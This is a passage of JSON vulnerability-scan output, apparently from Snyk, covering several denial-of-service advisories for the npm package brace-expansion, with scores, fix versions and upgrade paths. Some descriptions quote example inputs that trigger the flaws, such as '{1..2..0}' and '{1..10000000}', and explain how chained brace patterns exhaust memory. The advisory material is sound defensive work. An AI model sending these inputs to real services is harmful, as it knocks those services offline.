"modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", 